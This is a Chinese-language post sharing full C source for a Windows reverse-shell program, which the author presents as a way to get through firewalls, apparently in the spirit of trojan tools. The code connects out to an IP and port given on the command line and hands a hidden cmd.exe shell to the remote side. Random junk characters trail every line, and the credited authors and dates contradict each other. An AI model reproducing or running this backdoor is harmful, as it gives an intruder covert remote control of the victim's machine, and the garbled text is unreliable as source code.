这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {pc (b
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/* ============================== I&6M{,rnM
Rebound port in Windows NT r;9 V7C
By wind,2006/7 {4$aA*
===============================*/ DDq?4
#include %a?\y_a=b
#include n)j0h-
_o T+x%i
#pragma comment(lib,"wsock32.lib") ? *v*fs0
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void OutputShell(); aX2N
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SOCKET sClient; ;Nw)zS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p'0X>>$
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void main(int argc,char **argv) ' GUCXx
{ :Xs4 C%H;
WSADATA stWsaData; BM{*5Lf
int nRet; >m:n6M'r
SOCKADDR_IN stSaiClient,stSaiServer; 8(ot<3(D
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if(argc != 3) ?t/G@
{ t2iQ[`/?~
printf("Useage:\n\rRebound DestIP DestPort\n"); ~"\WV4}`v
return; lNsdbyV'
} Qr_0
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WSAStartup(MAKEWORD(2,2),&stWsaData); I)kc[/^j$
w!pj);jy{
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~z\a:+
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stSaiClient.sin_family = AF_INET; )}7X4g6X
stSaiClient.sin_port = htons(0); A>8~deZ9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g=KvCqJN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8`wKq6
{ WD_{bd)
printf("Bind Socket Failed!\n"); UpPl-jeT
return; ZWni5uF-c
} O')=]6CQ*
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stSaiServer.sin_family = AF_INET; 4TI`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '"+Gn52#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *fs[]q'Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F!phTu
{ NJSbS<O
printf("Connect Error!"); o:&8H>(hn]
return; ?lfyC/
}
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OutputShell(); pN)x,<M)
} %wXjP`#
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void OutputShell() Wx8:GBM$2
{ k&uh
char szBuff[1024]; gKcBx6G
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SECURITY_ATTRIBUTES stSecurityAttributes; j{'_sI{{
OSVERSIONINFO stOsversionInfo; JS/ChoU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g\?v 5
STARTUPINFO stStartupInfo; Lyf5Yf([-
char *szShell; t%G.i@{pkp
PROCESS_INFORMATION stProcessInformation; f _$hK9I
unsigned long lBytesRead; x[$KZGK+GL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Sa%%3_&
# S/n3
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7M
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stSecurityAttributes.lpSecurityDescriptor = 0; zRd.!Rv
stSecurityAttributes.bInheritHandle = TRUE; mr/?w0(C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UmvnVmnv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J<0d"'
B=;kC#Emtf
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Dkb`_HI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kYWnaY ^F
stStartupInfo.wShowWindow = SW_HIDE; Rnoz[1y?0
stStartupInfo.hStdInput = hReadPipe; c ~~4eia)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0e+#{k
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GetVersionEx(&stOsversionInfo); G[JWG
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switch(stOsversionInfo.dwPlatformId) @"BhKUoV$K
{ J}[[tl
case 1: maDWV&Db
szShell = "command.com"; %gs?~Xl)]
break; mj ?Gc
default: (sQXfeMz
szShell = "cmd.exe"; DQ3L=
break; PVH Or^
} ,`RX~ H=C
n?$c"}
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ynvf;qs
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send(sClient,szMsg,77,0); .)$MZyo
while(1) z/+{QBen8
{ zCQP9oK!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T*SLM"x
if(lBytesRead) 54Rp0otv
{ .D ^~!A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =R'O5J
send(sClient,szBuff,lBytesRead,0); n42\ty9
} _tX=xAO9
else Ha|}Oj
{ AEaN7[PQx|
lBytesRead=recv(sClient,szBuff,1024,0); |nWEuKHy
if(lBytesRead<=0) break; qPD(D{,f$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qbD
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} EpNN!s=Q
} A.("jb@I
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return; .#bf9JOE
}